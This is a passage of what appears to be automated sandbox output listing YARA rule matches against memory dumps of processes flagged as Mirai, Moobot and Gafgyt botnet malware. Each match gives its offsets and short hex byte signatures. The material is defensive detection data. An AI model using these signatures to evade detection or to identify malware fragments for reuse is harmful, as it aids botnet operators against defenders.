46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6566.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7282.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7282.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7282.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7282.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7282.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6804.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6804.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6804.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7282.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6804.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6804.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6804.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7040.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7040.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7040.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7040.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7040.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7040.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6571.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6571.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6571.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6571.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6571.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6571.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7100.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7100.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7100.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7100.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7100.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7100.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7445.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7445.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7445.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7445.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7445.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
